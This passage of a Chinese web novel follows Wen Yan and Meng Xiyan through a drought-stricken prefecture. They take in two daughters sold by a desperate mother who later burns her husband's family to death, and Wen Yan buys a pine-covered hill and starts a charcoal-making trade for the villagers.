闻颜好奇:“外面怎么了?” “我去看看。”佩儿立刻下床,就出去了。 没一会儿,她就回来了。 神色无比凝重:“城中很多井里都打不出水,不少人家出现了断水的情况。 官府便将能打到水的井征用了。 以后全城百姓统一放水。 一人一天只有一斗。” 这点水量,刚好够吃喝的基本需要。 “我们院里的井中还有水吧!难道也要征用?” “已经被征用了,薛叔在厨房小院里配合官差。”佩儿的嘴撅得老高。 她发愁。 小姐最爱干净了。 水被管控,每天哪来的水给小姐擦身子洗脸啊! 闻颜来到窗边,看着夜空。 天灾无情,希望晋阳府的所有百姓,都能平安度过此劫。 当天上午。 孟希延和元小头领押着许多犯人回了城。 闻颜站在街边看了一会儿,就回家了。 林叔正好查完胥家的消息,前来告诉闻颜。 胥家独苗锒铛入狱,秋后问斩。 胥家家主为了救下儿子,才跟司徒明合作。 原来,是为了救一根不成器的独苗。 司徒明是会拿捏人心的。 “林叔,霍耀行的粮食应该快到了,你盯紧司徒明。” “是”林叔应着。 “你要盯着谁啊?”头顶突然传来一道戏谑的声音。 闻颜吓了一跳。 抬头看去。 就见孟希延和元小头领就坐在房脊上。 “孟大哥,你怎么到我家来了?” 孟希延从房顶一路而下,轻盈地落在闻颜身边:“我是来道谢的。 那批粮食多谢你了,为我们解了燃眉之急。” 闻颜摆摆手:“顺手的事儿。只要闻如月吃瘪,我就心情好。” 孟希延又问她:“该收拾的人你已经收拾了,打算什么时候回京城啊?” 闻颜眉头一皱,委屈道:“你赶我走!我要告诉迟飞姐姐,你赶我走。” 孟希延:“……” 他举手投降。 随后正色道:“晋阳府的情况你也看见了,水源紧缺,你继续留下,只会跟着吃苦受累。不如先回去。” 闻颜眼珠子转了转,道:“我想了那么多赈灾的法子,我想留下来看看,那些办法到底能不能帮到受灾的百姓们。 我顶多再等半个月,不,十日就好。 时间一到我就走,保证不会给你添麻烦。” 孟希延狐疑地看着她:“你在这边,不会还有别的谋划吧!” “怎么可能有谋划。我这个人最规矩了。 况且这里除了灾民,什么都没有啊。 就算是有谋划,也是想办法帮灾民啊。”闻颜嘿嘿尴尬地笑着。 “当真?” “当真!比真金还真。”闻颜就差指天发誓了,“孟大哥,你把我当犯人一样审吗?” 孟希延别开目光:“那行。十日时间一到,我立刻送你回京。” 他说完,干脆地转身离开。 元小头领看着闻颜啧啧两声:“狐狸尾巴全露出来。” 孟希延走到一半,又陡地停下,转身回来看着闻颜:“还有一件事,我需要你帮忙。” 第214章:卖儿卖女 准备离开的孟希延,又折了回来。 他看着闻颜,道:“还有一件事,我需要你帮忙。” 孟希延紧皱着眉,表情凝重。 闻颜下意识地往后退,感觉他来者不善:“你……有什么事?但说无妨。” “晋阳府的情况你也看见了,民生艰难,我想请你看看,可有什么生财之道,帮当地百姓创收,改善生活条件。” “孟希延,你没疯吧!”闻颜当即就气笑了。 “现在可是大旱啊! 整个晋阳府要水没水,要庄稼没庄稼,你让我怎么帮他们? 巧妇难为无米之炊啊! 你这不是为难我闻颜吗?” 闻颜摆着手,都出残影了。 “我也知此事让你为难,”孟希延有些不自在,“我知道,这是父母官该做的事。 带兵打仗我在行,治理一方非我强项。 闻颜你人美心善,蕙质兰心,能够见微知著,我相信你一定能帮到当地百姓。” 孟希延夸人的话,不要钱似的往外说。 咳咳…… 闻颜被口水呛到,她后退两步:“孟大哥,你别这样,我害怕。” 孟希延:“……” 他难得这样夸人,闻颜却是这个反应。 孟希延脸颊发烫发红,好在他皮肤晒得黝黑,别人根本看不出来。 孟希延:“总之,我是诚心找你帮忙的。” 闻颜的眼珠子转了转,道:“我可以帮你看看,但前提条件是,你不可以再赶我走。我想在这里留多久,就留多久。” 孟希延还不了解闻颜吗? 别看她表面温顺,实则特别有主意。 现在答应十日后离开,只要她不想走,有的是办法摸回来的。 “好,我答应你。” 闻颜朝他举起一只手掌:“成交。” 孟希延在她手掌上击了一下:“成交。” 闻颜心情变好,话也跟着多了起来:“你们这次剿匪成功吗?” 元小头领立刻挤进来,拍着胸脯道:“有我出马,怎么可能会失败?我们顺藤摸瓜,又端了好几个窝点。” 闻颜看他一副得意神情,视线轻飘飘从他身上扫过:“你?再厉害能有我孟大哥厉害?” 元小头领立刻激起了胜负欲:“我本来就很厉害,你看不起人是吗?” 闻颜眼神将他上下打量一番,撇了撇嘴。 此时无声胜有声。 没两天。 霍耀行的第一批粮食就到了。 胥家家主和司徒明前后脚出城。 闻颜发现的时候,其他人都不在家,她便一个人追了出去。 很快,司徒明和胥家家主,就在城外的一片林子里汇合。 这一批粮食不多,很快就交接完毕。 他们并没有把粮食运进城,而是运去胥家城外的庄子上。 闻颜一路跟到庄子上。 闻颜并不打算动这批粮食。 一时数量太少,二是想用眼下这点粮食,抛砖引玉。 只要有利可图,霍耀行就会源源不断送粮食过来了。 标记好位置和路线,闻颜就回城去了。 自从孟希延回城之后,就废除了十日进出一次的规矩。 第一批粮食运来,第二批的间隔不会太近。 她便跟着孟希延一起,去城外转转,看看当地灾情的具体情况。 闻颜和佩儿做了婢女打扮,跟在孟希延身边。 林叔他们,则继续留在城中,监视司徒明和其他商贾。 大清早,他们就出城去了。 第一站,他们先去晋阳府下辖的一个县城,视察赈灾工作。 出城之后,便是泥巴路。 因为长时间的干旱,使得路面起了厚厚一层泥灰,马儿从上面走过,扬起阵阵尘土。 视线所及的庄稼地里,一片枯败。 只有树林之中,还有绿意。 然而,林间的干枯杂草上,甚至没有多少露水。 旱情可见一斑。 路上行人,更是个个骨瘦如柴,衣衫褴褛,连路都走不大稳。 “还好没人饿死在路边。” 元小头领道:“怎么没有? 现在是治理收敛后的效果,我们刚来那一会儿,不止看见一两具。” 经过大半天的奔波。 他们终于在下午抵达该县城。 闻颜早就饿得前胸贴后背。 进城之前,他们先找了一个僻静阴凉处,吃些干粮垫肚子。 闻颜的饼,是出发前佩儿亲自烙的。 除了用的是精面粉,里面还夹了肉馅,又用芝麻油煎到两面金黄。 一开始用油纸包着还不觉得。 闻颜把油纸打开,一股霸道的焦香味,便迎风飘十里。 一口咬下去,没有出名的酸脆焦香,倒也绵软适口。 旁边啃着馒头的元小头领,羡慕地看着她的肉饼咽口水。 闻颜瞅他一眼,见他明明馋得要死,却克制着没开口。 闻颜就觉得他还怪可爱的。 她故意逗他,吃一口感叹一句:“佩儿,你的手艺真好,这饼烙得可真香啊!” 佩儿跟着闻颜久了,立马看出她要捉弄元小头领,故意附和道:“当然好吃啊! 这可是我的独门秘诀。 和面的时候加上两勺猪油,饼皮才会酥香松软。 肉馅更是讲究…… 还有啊,煎的时候一定要用芝麻香油,在锅抹上一层油,再把面胚拍上去,没一会儿就滋滋冒香……” 佩儿说得绘声绘色。 别说是元小头领,便是孟希延,也听得口舌生津,想要尝上一尝。 闻颜很快啃完一个饼,她又拿出两个,准备递给元小头领和孟希延时。 就见一个妇人,双手各牵着一个娃娃,踉踉跄跄朝他们跑来。 妇人蓬头垢面,脸上脏污,看不出样貌。 但她牵着孩子的手,就像一层皮贴在骨头上,暴露出她的穷困。 元小头领立刻警觉起来,下意识把闻颜和佩儿护在身后。 旁边护卫,立即拔刀指着他们:“站住!你是什么人!” 妇人被寒着寒光的刀吓了一跳。 她双膝一弯,就跪倒在地,二话不说,先“砰砰砰”磕了三个响头,这才哭求道:“几位贵人,求求你,收下我的孩子吧!” 说着,她把两个孩子往前推了推:“她们很勤快的,从小就会干活。 我什么都不要,只要能带走她们,不让她们饿死,她们就会给你为奴为婢一辈子!” 她的两个孩子,没敢说出要陪在她身边的话。 但是双手却紧紧抓住妇人的胳膊,眼睛里也写满了不愿分离的情绪。 随着她说话,一股恶臭缓缓飘出。 第215章:全家灭口 妇人母子三人,像是察觉不到那股臭味似的。 闻颜却闻了不这味儿。 她下意识捂住口鼻,身体后仰。 闻颜把手里的两个饼重新抱上油纸,扔到妇人面前:“我们不买人,这里面有两个饼,你们拿了快走吧。” 闻颜语气冷淡,让人听不出喜怒。 在外人看来,显得很是冷血。 妇人直勾勾地看着油纸包,眼神里全是渴望和贪婪,喉咙里不断发出咕噜声,拼命咽着口水。 她的两个孩子,亦是如此。 三人都恨不得连油纸一起吞进肚子里。 但他们始终没有那么做。 妇人只是捧起油纸包,高高兴过头顶,颤声哀求:“救贵人收下我的两个孩子吧。 洗衣做饭,下地拉犁,他们什么都能干。” 她不仅自己求,还拉着两个孩子一起求。 两个孩子就开始磕头。 佩儿面露不忍,也知道闻颜多养两个人绰绰有余,却并未替她们求情。 闻颜看向孟希延。 只见他眉头紧锁,朝她摇了摇头。 闻颜瞬间明白他的意思,转头问妇人:“你们县城,不是有收购蝗虫的地方吗?既可以换钱,也可以换饼。 只要你们出些力气,就不可能饿死,何至于到了卖孩子的地步。” 妇人又磕了一个头,这才尾尾道来她的遭遇。 原来。 她是本县下辖一个村子的普通妇人。 成婚十一年,她连生四胎,皆是姑娘。 因为无法给夫家生下传宗接代的儿子,一直不受夫家待见。 她起得经鸡早,睡得比狗晚,拼命干活,也换不到一个好眼色。 直到旱情发生。 夫家卖了她的大女儿,现在又打起了老二老三的主意。 眼看她护不住孩子,朝廷开始赈灾,只要用蝗虫干便可以换到活命的饼子。 她看到了希望,便带着孩子从夫家逃了出来。 起初,她们东躲西藏,到处抓蝗虫,的确实现了温饱。 可是渐渐的。 随着大量捕捉,不仅蝗虫变少,很多人也故意针对她们,抢她的蝗虫,抢她换来的饼子。 她们被逼得活不下去了…… 佩儿好奇问道:“你说,你还有三个孩子,可你明明只牵着两个。” 妇人怔了怔,她扭头看向后背上,一个小小的包袱。 她的眼睛瞬间红透,却因为缺水流不出眼泪。 “我最小的孩子,才一岁大。我们没有停我,又她生病了,没能……挺过来!” 所以,她将孩子的尸体背在背上。 他们身上的来自味,便是从包袱散发出来的。 妇人往后退了两步:“几位贵人,只要你们愿意收下我的两个女儿,我绝不纠缠。” 闻颜看着孟希延,小声道:“孟大哥,你觉得呢?” 孟希延朝她点点头。 “好,我们收下你的女儿……” 闻颜的话还没说完,妇人就喜极而泣,朝闻颜他们连磕三个响头,又抱着两个女儿叮嘱:“以后他们就是你们的主子,你们一定要尽心尽力的服侍他们,娘……娘这就走了。” 说完,她站起身就往外走。 “等等。”闻颜叫住她,“你接下来要去何处?” 妇人抹掉眼泪,脸上竟露出笑容:“三个赔钱货都没了,我想回夫家,继续给我夫君生儿子。 只要我生出儿子,他们就会对我好的。” 说完,她就抱着两油纸包,飞也似的跑了。 闻颜想叫住她,已经不见身影。 闻颜总觉得妇人行为怪异。 看向两个小姑娘,问道:“知道你们母亲去哪里了吗?” 两个姑娘,看起来一个五六岁,一个三四岁的模样。 其实,大的这个孩子已经八岁半,小的也六岁多。 姐姐眨眨眼睛,回答闻颜:“回去找爹爹了。” 随后,闻颜又问了一些问题,并未在她们的话中找到可疑之处,闻颜这才把心放回肚子里。 孟希延给两个小孩子一人半张饼,吃过之后,稍作休息,他们便进城了。 剩下的路,他们没有骑马,一路步行。 闻颜便趁机,向孟希延打听这个县城的情况。 孟希延知无不言。 这个县城,因为距离晋阳府不远,又在交通要道之上,日子还算好过。 当地县令不功不过,孟希延便在此设立了一个制作蝗饼的作坊。 闻颜勾着一缕耳发,缠在指尖转圈圈:“所以,本县的条件,根本不到饿死人的地步。 那位妇人落到这种地步,多半是没能延续香火!” 闻颜心里很不舒服。 进城之后,闻颜他们没去县衙,而是直接到了制作蝗饼的作坊。 蝗饼的制作跟闻颜的要求一模一样。 蝗虫晒干之后再炒熟,随后磨成粉,再掺入杂粮粉,和水许的盐和水,制作成紧实干燥的饼子。 闻颜拿起一块,放到嘴边咬了一口,竟然只咬下一小块。 她仔细品了品,有滋有味,还挺香的。 饼子压得很紧实,也很干,这样更方便储存。 饼子的质量,比闻颜预想中要好很多。 他们这边刚转完作坊。 县令就带着县丞、主簿等人赶了过来。 闻颜和佩儿退了出去。 一夜无话。 次日,他们就准备去县里,几个收蝗虫的地点转转。 直到,他们来到第三个收蝗虫的地点。 只见收购店外,排碰上长长的队伍,都是掩着包袱,来卖蝗虫的。 他们一边排着队,一边交头接耳,小声蛐蛐:“哎,你们听说了吗?牛沟子村昨天晚上发生了一起命案。 一家十来口人,全都烧死在里面了。” “我怎么听说,他们家有两个闺女逃出来了来?” “什么怨什么仇啊!竟然杀人全家,这心肠可真够毒的。” “你们说,那把火不会是他们的闺女放的吧!” “不能吧。那两个闺女,一个才八岁,一个才六岁,怎么可能放这么在的火……” 众人一边说着,一边唏嘘。 闻颜却越听越觉得可疑。 她没来由地想到,昨天收留的两个女娃。 她们的母亲…… 闻颜突然小跑上前,抓住孟希延的胳膊:“希延大哥,可能出事了。” “出什么事了?”孟希延还在看最近的账本,突然被她抓住,吓了一跳。 第216章:赚钱的法子 “附近有个村子发生了命案,一家十几口全被烧死了。听说,那户人家,有两个没归家的小女娃。”闻颜急急忙忙地道。 “账本回来再看。”孟希延猜到闻颜的想法,他放下账本,就跟闻颜一起往外走。 他们拦了一个路人,问到去牛沟子村的路。 牛沟子村离此处不远,骑马都没用到一刻钟。 隔着老远的距离,他们就看见村子一角,围着许多村民。 空气里,还散发着烧焦的味道。 县衙的差役已经到了,正在勘查现场。 许多尸体已经被清理出来,一具一具并排摆放在路中央。 大大小小,加在一起有十一具。 看身形,最小的应该只有三四岁。 围观的人唏嘘不已,都在讨论这家人为何会被灭门。 各种理由层出不穷。 有说得罪了大人物的。 也有说他们太缺德,是老天爷的惩罚的。 直到最后一具尸体抬出来。 那具尸体被烧焦,身形特别的单薄枯瘦。 最引她注目的,是她怀里也抱着一块焦形物。 这具尸体的味道,除了烧焦的味道,还有一股腐烂味。 闻颜几乎能够百分之百确定。 她就是前几日,卖女儿的妇人。 她说要回夫家,原来是回来复仇的。 想必,那时的她,就已经存了死志! 闻颜去找村中村民闲聊,了解情况。 孟希延则派下属,回县城把这对姐妹接过来。 那对姐妹来得很快。 她们来到现场之后,立刻扑进最后那具尸身边,痛哭不已。 闻颜经过一番询问,算是勉强将事情还原。 应该是妇人在带着三个孩子,逃离夫家后,日子虽然过得艰难,但很快乐。 夫家却因为失去几个随意使唤打骂的人,而闹得不可开交,鸡犬不宁。 再加上蝗虫越来越少,夫家的人越来越焦虑。 便有人想到,妇人的第一个女儿卖了不少钱,虽然卖过去没多久就死了。 但是谁在乎呢? 妇人还有三个女儿。 老二老三也能卖不少银子。 有了这笔钱,说不定他们就能囤到足够的粮食,挨过旱灾。 妇人已经失去一个,怎么容许他们再动自己的孩子。 在与夫君争执的过程中,最小的孩子被她夫君摔死。 妇人心如死灰。 为老二老三谋到去处之后,她就回来带着这一家老小,一起上路。 孟希延听闻颜说完,很是唏嘘。 案子交给县衙处理。 闻颜征求两个孩子的意见:“你们是想留下来,跟着族人一起生活?还是跟我走?” 两个女孩没有一丝一毫的犹豫,跪在闻颜面前,大声道:“小姐,我们愿意跟你们走。 我们一辈子为奴为婢报答你们。” 他们在这个县城又逗留了一天。 第二天,他们就往别的县城出发。 又走了两个县城,他们沿着河道,来到了晋阳府灾情最严重的地方。 在这里,就连山上的树木都变得枯黄,一副枯败的情况。 在两山之间,响起了号子声。 闻颜他们打马过去,发现是一群人正在那里刨土挖掘。 这时,一名腰间配刀,穿着皂衣的男子,立即跑了过来。 他朝孟希延等人行礼:“大人,您怎么过来了?” 孟希延的目光,看向刨土的方向,眉头微皱:“此地怎么还在打井?一个月前我就收到打井的奏报,怎么这么长时间了,还没弄好?” “此地严重干旱,我们打了五口井都失败了。” “不是特地请了风水先生吗?” 趁着孟希延问话。 其他人找平坦地方,开始搭帐篷。 天色已晚,他们要在此留宿一夜。 闻颜和佩儿帮不上忙,就在周围转悠,顺便捡些柴回去,晚上升火用。 走着捡着,佩儿忽然停了下来。 她指着一片山坡,兴奋地道:“小姐,你看,那边有墨松。” “什么墨松?”闻颜循声看去。 那边确实有一片松林。 不过在闻颜看来,这片松林,跟别的地方没什么区别。 “当然有区别,这种松树,制作的墨烟品质最好,我和娘就给它起了个名字,叫墨松。” 闻颜看着这片郁郁葱葱的松林,以及别的山头,其他枯黄发蔫的树木。 闻颜的脑中灵光一闪。 她拉着佩儿的手,兴奋地道:“佩儿,我想到办法了。” 佩儿不解:“什么办法?” “让灾区人民,能赚到钱的办法。” “小姐,是什么办法,你快告诉我。”佩儿看着一片枯萎荒凉,这种地方还能有什么生财之道? 莫不是想在这里开制墨作坊? 但那也只是杯水车薪啊! “天机不可泄露。”闻颜卖了个关子,就继续捡柴禾了。 两人捡了不少柴禾,回到队伍,帐篷搭好,孟希延也议事结束。 他和元小头领,站在帐篷边说着话。 “不应该打不出水啊!这个村子距离河流不到两里路,不应该如此干旱才对。” 孟希延道:“应该是地质的原因。 这一片的地下,可能是巨大的岩石,阻断了水流。 你没发现吗?这里虽然靠近河流,却比别的村子,干旱得多得多。” “实在挖不出水,就将这个村子的人迁走吧。 把他们安置到别的地方,等灾情结束,再将他们迁回原址。” 两人对视一眼,跟着叹息一声,话语里尽是无奈。 晚饭他们吃得很简单。 一壶烧开放凉的水,和咬不动的饼子。 闻颜啃了半个,就腮帮子痛。 但她还是逼着自己,把一整个都吃完了。 入夜之后, 燥热天气终于得到一丝缓解。 不过还是跟凉爽不沾边。 闻颜在帐篷里待不住,干脆出来乘凉。 她找了一块大石头,在周围撒了一圈驱虫的药粉,才敢坐下。 她撑着下巴,看着天空发呆。 皓月如银盘,星辰缀满天。 身后传来脚步声。 闻颜并未回头。 那人在闻颜身边坐下:“睡不着?” 孟希延问道。 “嗯。”闻颜点了点头,“太热了。” “这是最后一个县城,结束之后你就回京城吧。” 闻颜没有答应,而是道:“我可能找到,让灾区百姓赚钱的法子了。” “当真!”孟希延顿时来了精神,他的眼睛比天上的星星还要明亮。 “让他们烧炭吧。” “烧炭?”孟希延疑惑,“这能赚多少银子?” 闻颜道:“我会按照京城炭价的一成五来收购。” 孟希延越发看不懂了。 第217章:投怀送抱 “你要自己收炭!?”孟希延不赞同地道,“我请你发现商机,是想给他们雪中送炭,不是让你自掏腰包补贴。 晋阳府那么大,灾民那么多,你有再多银子也不够填的。” “我知道。我这么做,是经过深思熟虑的。”闻颜认真道。 “你哪来那么多钱?我看你是没思没虑,反正我不同意。”孟希延斩钉截铁道。 若是自家没有变卖家财赈灾,他不会拦着她。 闻颜没钱了。 将军府可以为她兜底。 但是现在将军府都吃了上顿没下顿。 母亲变卖祖产,姨娘们也做绣活赚钱,实在无力帮忙。 闻颜:“……” 她确实是经过深思熟虑的。 今、明两年的冬天,京城雪灾,会格外寒冷。 闻颜早就计划着囤炭,放到冬天缺炭时赚上一笔。 不过,因为手头的银钱有限,她只想在家附近收收,这么远的炭她根本不敢打主意。 不说收购价格,便是运输费用,都是一笔不小的数目。 但是现在不同了,有霍耀行千里送粮食。 只要她顺利将霍耀行的粮食搞到手,多少炭收不回去?! 说不定还为自己赚一波声誉。 再就是,这次雪灾波及范围极广,晋阳府也受到牵连。 要不是现在收炭,需得孟希延这个父母官同意配合,自己悄悄就干了,根本不会说那么多。 闻颜眸光流转,挖空心思的游说之词。 最后她把雪灾和粮食隐去,拿敬明媚当借口。 “她出身自蜀地敬家。 她的兄长献出一口盐井投靠皇上,是我和迟飞牵线搭桥的。 投桃报李,她也该帮我一把。 再说了,晋阳府这么多穷苦百姓,你总不能眼睁睁看着受冻吧!” 孟希延:“……”最后一句话,直戳孟希延心脏。 若是真的遇上雪灾,他定然束手无策。 有备无患,到时候什么都没错。 闻颜见他动摇,便继续游说:“你也看到了,这附近的树木,全都蔫了。 与其让它们枯死在地里,不如发挥剩余的价值,烧成炭运到京城去卖。” 孟希延仍然没有立即答应,而是决定和元小头领商量过后,再做决定。 闻颜见他松口,就没再逼问。 不过她却好奇,元小头领是什么来头,孟希延怎会找他商量此事? 闻颜不知道的是,孟希延完全是瞧上人家的钱了。 想让他在必要时候出钱为她托底。 随后。 闻颜提出开作坊的事:“那一片山上,都是上好的墨松。我想把整个山头买下来,再开一个只收女子的烧烟作坊。” “你想在这里开制墨作坊?”孟希延听完她的诉求,怔了一下。 只要女子做工,是受那个妇人的影响吧。 她想在力所能及的范围内,给那些穷苦女子一条出路。 孟希延道:“作坊你可以开,但是别忘了,你过不了多久,就要回京城去,这里谁来打理?” 闻颜道:“你放心吧,我已经有人选了。” “你心中有数就好,明日我带你去找这里村长。” 把该说的事说完,闻颜就准备回帐篷休息了。 她刚起身回去。 路边传来一阵窸窣响动,就见斜地里跑出一个人影,跌跌撞撞朝孟希延扑去。 孟希延一员武将,岂会随便让人近身。 他在人影扑过来时,抬腿要踹,犹豫了一下就收回腿,一把掐住对方手臂,反剪着将人按在地上。 “啊……” 一声女子惨叫。 闻颜提着灯笼照过去,就见一个面容秀丽,却衣着寒酸的女子,被按在地上。 她的模样有些眼熟,像是下午拾柴禾时,在林子里见过她。 她一直往打井的方向看。 当时,她以为这姑娘是关心水井的进度,现在看来,她醉翁之意不在酒。 “孟大哥,好像是村里的姑娘。” 孟希延这才松开她。 女子窘迫地坐在地上,揉着胳膊,眼泪啪嗒啪嗒地往下掉,那模样我见犹怜:“公子,你弄疼我了!” 孟希延神情严肃,把她当心怀不轨的分子对待:“你是什么人,大半夜到这里想干什么?” 女子被他吓得一怔。 察觉到美人计无用,她便双膝跪在地上,扯着孟希延的衣摆:“公子,求你救救我,给我一条活路吧!” “活路?是谁迫害你不成?”孟希延坐回石头上,语气冷得没有一丝温度。 闻颜困了想回去休息。她挪动脚步想走。 孟希延斜她一眼,眼神似在警告:你走一个试试。 闻颜:“……” 行行行,你官大你有理。 她只好留下。 “我……”女子泪如雨下,“家中要将小女子卖去城里做妾,给家里人换口粮。 小女子是正正经经的良民,我宁愿面朝黄土背朝天,自力更生,也不愿给人做玩物。 公子,您开开恩,救救我吧!” 孟希延语气里似带着怒气:“天下竟有如此狠心的父母,我便成全你。 北境的扈延城正需要一批拓荒者,你便去那里吧。” 女子声音都吓结巴了:“扈……扈延城,那不是边关城池吗? 我……我一个女子,怎……怎生受得了那些苦。” “你不是说宁愿面朝黄土背朝天吗?我就是按照你的要求安排的啊……” “我……小女子……”女子慌得不行。 她转头找闻颜求助。 闻颜看星空,看树林,就是不看她。 “怎么,你不愿意?”孟希延的语气,陡地变冷。 女子吓得松开他的衣摆,不断后退:“我……小女子要回家同父母商量商量,就……就先不打扰了。” 说完,她手脚并用地爬起来,仓皇逃跑。 闻颜道:“这一路走来,对你投怀送抱的女子不少,她是最不禁吓的一个。” 孟希延白她一眼:“你在一旁看戏,可看尽兴了?” “嘿嘿,也……也还好啦!”闻颜干笑两声,拔腿就跑了。 一夜无话。 翌日清晨。 天光熹微,闻颜就在号子声中醒来。 打井的人开工了。 闻颜好奇,想过去凑热闹。 被元小头领拦住:“那边都是光膀子的男人,你一个女子怎好过去。” “我就是看看,又不会动手。”说得好像她要非礼他们一样。 “总之,你就是不能过去。你不是要买山吗?我带你去找村长。”他作为应知林的同窗,怎么也要帮他盯着点妻子。 第218章:又买一座山 “行吧。”闻颜还是以正事为重,打井也没什么好看的。 两人一前一后往村子里走。 闻颜顺便问他烧炭的事:“这件事于民有利,你不会不同意吧!” 元小头领一脸肉痛的表情:“为灾区百姓做好事,我岂有不同意之理。” 闻颜夸奖他:“你果然是个心系百姓的聪明人,将来一定会做个心系百姓的好官。” 元小头领做了个鬼脸,喃喃自语:“难不成,应知林是被她的甜言蜜语哄住了?” 很快,他们就进了村。 村中房屋、百姓映入眼帘。 闻颜发现这个村子格外的穷。 村民全都破衣烂衫,面黄肌瘦不说,就连村长家,住的都是茅草屋。 “二位快请屋里坐。”据说这几位是从府城下来的贵人,村长热情地招呼,“老婆子,快上茶水。” 村长家虽然是茅草屋,但收拾得很干净。 村长头发苍白,身体极为消瘦,一副营养不良的样子。 不一会儿,村长的老妻就端了两碗沫子茶上来。 元小头领轻啜一口茶水,并没有提买山的事,而是跟他说起打井的情况。 “若是这口井也打不出水,你们村,可能就要搬迁去外面了。” “非搬走不可吗?”村长紧皱着眉头,一副很难接受的样子。 如果能留下,没人愿意背井离乡。 离乡的人比草贱。 元小头领道:“起码能活下去。 等灾情结束,你们还能再回来。 当然,若是能打出水来,你们就不用走。” 元小头领掰开揉碎了跟他说。 村长也不是不讲理的人,慢慢也接受了。 随后,他们又说起今日的最终目的:“我们今日的另一个目的,便是想跟你买下水井旁边的那一座山。” “什么!”村长一下就激动了,“你们要买山?” 那座山不算大,但上面的墨松大半都是四五十年以上的树龄。 正是制作上等墨烟的好材料。 只要砍伐种植得当,可以源源不断地产出墨烟。 见闻颜点头,村长搓着手,神情羞赧:“冒昧地问一句,你们买山,是要做什么吗?” 闻颜微笑答道:“自有用处。” 村长并不介意。 这是别人的生财之道,不愿多说也在情理之中。 他们村都是同姓亲戚,祖上是一个老祖宗,开枝散叶到如今,已有近千人。 他们所有的田地和周围的山,也都是那位老祖宗留给子孙后代的。 如今这山卖了,每家每户就能分到一笔不小的银子。 这笔钱放在平时,都够娶两个媳妇了。 现在也能囤上不少的粮食,帮助村民度过眼下的危机。 所以,对闻颜买山,村长是一百个愿意。 当即就谈好了价格,签下了契书。 买山顺畅极了,反倒是次日去县城办过户契书,受到刁难。 先是问东问西,后因闻颜是外地人,衙门便想黑吃黑。 最后还是与他们同来的赈灾小吏,拿出一个腰牌,才将对方震慑住。 那人吓得脸色苍白,十分迅速地给他们办完手续。 闻颜回去之后,就跟孟希延说了县衙情况。 孟希延是个行动派,当即就派元小首领,去县城清查一番,不少人被揭了乌纱帽。 当然,这些都是后话了。 签下契书,付完订金让村长安心后,闻颜他们就准备告辞。 村长却死活要留他们吃午饭。 村里赚了这么大一笔钱,全村都有了希望。 村长家就想好好招待他们。 当即就叫他的老妻,去把家里的老母鸡抓来炖了。 村长家好几个孩子,这么困难还养着老母鸡,肯定是为了给孩子补身体。 闻颜怎么好意思吃,拽着元小头领就跑了。 结果午饭时,村长抱着一坛子鸡汤找上门来。 鸡都炖了,再矫情也没意思了。 闻颜坦然收下那一瓦罐鸡汤。 村长笑呵呵的:“你们慢慢吃,我跟村民说说要银子还是买粮的事。” 闻颜看着他单薄的身影往外走,没忍住叫住他:“你们若是决定买粮,就再等一等,说不定晋阳府会来新的粮商。” 闻颜说得笃定。 村长把话听进了心里。 闻颜回去开饭。 揭开瓦罐盖子,浓郁的鸡汤味便飘出老远。 瓦罐里有两只完整的鸡腿,显然是给闻颜和元小头领的。 另外里面还放了不少香菇,还有几根白胖胖的沙参。 闻颜哭笑不得:“村长怕是把家中所有的好东西,都炖进这锅汤里了。” 佩儿馋得直咽口水:“自从入了晋阳府,就没再喝过鸡汤了。” 就算打到野鸡,也没足够的水来处理炖汤。 一人分了小半碗鸡汤,几块鸡肉,全都吃得美滋滋的。 特别是闻颜新收的那对姐妹,闻颜给他们起了新名字,姐姐叫新儿,妹妹叫笙儿。 寓意她们开始新的人生。 她们竟是人生当中第一次喝到鸡汤,捧着碗就哭了起来。 新儿更是泣不成声:“去年娘生了弟弟,我外祖母送来一只鸡给娘补身体,却被老太婆炖给他孙子吃了,呜呜……” 佩儿摸摸她的头:“快别哭了,只要你对小姐忠心,以后这些吃的都少不了。” 饭后,闻颜又让元小头领一起,去找了村长一趟,跟他说了收炭的事。 村长一脸懵,但他马上意识到,这是一个赚钱的门路。 但是他们村里没人会烧炭啊! 村长急得抓耳挠腮,仿佛全村都要错过暴富的机会。 “村长别急,我今天过来,就是想跟你说,你挑几个人出来,我教他们烧炭。” “你要教我们烧炭?”这可是个不外传的技术,“学费?” 闻颜道:“学费就用那一罐鸡汤抵了。” 村长的眼眶瞬间就红了。 他抓住元小头领的手,一个劲儿地夸闻颜心地善良。 元小头领:“……” ** 两日之后,那口井终于打出了水。 出水量不大,完全不够村里人日常用水的需求。 不过既然能打出一口有水井,也能打出第二口,第三口! 看他们圈出新的井口,闻颜一行人,也收拾行李,准备启程回晋阳府城了。 出发前,闻颜找到孟希延,提议道:“我记得,附近那条河流经晋阳府城,我们能沿着河道回城吗?” “那样会绕很远的路,你可是又想到了什么主意?” “我现在也拿不准,只能先走走看。” 前世,兰纮能在获罪后,通过河道治理步步高升,成为内阁大员。 今生,这功劳怎么就不能落到他们身上呢? 第219章:粮食来了 现在只要是对灾情有利,孟希延都愿一试。 他安排元小头领先行回城,盯着大局。 他则带着闻颜沿河跑一趟。 打包好行李,他们就出发了。 在出村的路口,村长带着好几个人等在那里。 孟希延勒停马车:“村长,你们这是……?” 村长越过他,来到闻颜面前。 他将一只包袱塞到闻颜手里:“这里面是一点点干粮,祝你们一路平安。” 现在大家都生存困难,闻颜坚决不收。 村长却红了眼眶:“这些都是你徒弟准备的孝敬。这是礼数,你该收的。” 村长向后的几人,正是闻颜教授烧炭手艺的几个半大小子。 因为时间的关系,闻颜带着他们烧了一小窖炭。 不过,这几个孩子都很聪明,学一遍就会了。 他们跟着点头:“是啊师父,我们学得一技之长,难道您不想认我们吗?” 有一个腼腆的孩子,眼眶红了,下一刻都要哭出来似的。 闻颜无奈,只得收下。 对他们又是一番叮嘱,这才跟孟希延他们一起上路。 他们沿着河道,一路往晋阳府城而去。 河堤的情况真的不容乐观。 泥沙沉积,有些地方,河床比岸边的平地还要高。 有些地方,已经有改道的迹象了。 河水也分出细支流。 但因为天气太热,那些水流还没流到田里,浇灌庄稼,就已经蒸发光了。 闻颜一边观察,一边记录情况。 这些都是闻颜前世,跟着霍耀行去地方上任时,跟当地治水的老吏虚心求学来的。 如何观察地形,水势。 不同的地形如何治理,闻颜都颇有心得。 后面,她还凭借这些手艺技术,帮着霍耀行立下不少功绩。 可以说。 前世的霍耀行在短短十年时间,一路高升,少不了她的功劳。 闻颜他们多用了好几天时间,才回到府城。 回到租住的小院之后,她就找林叔问司徒明那边的情况。 林叔道:“大宅那边一直很安静,并没有什么异动。 他们的第一批粮食,已经卖光。 司徒明已经安排人,把银子送回京城了。” 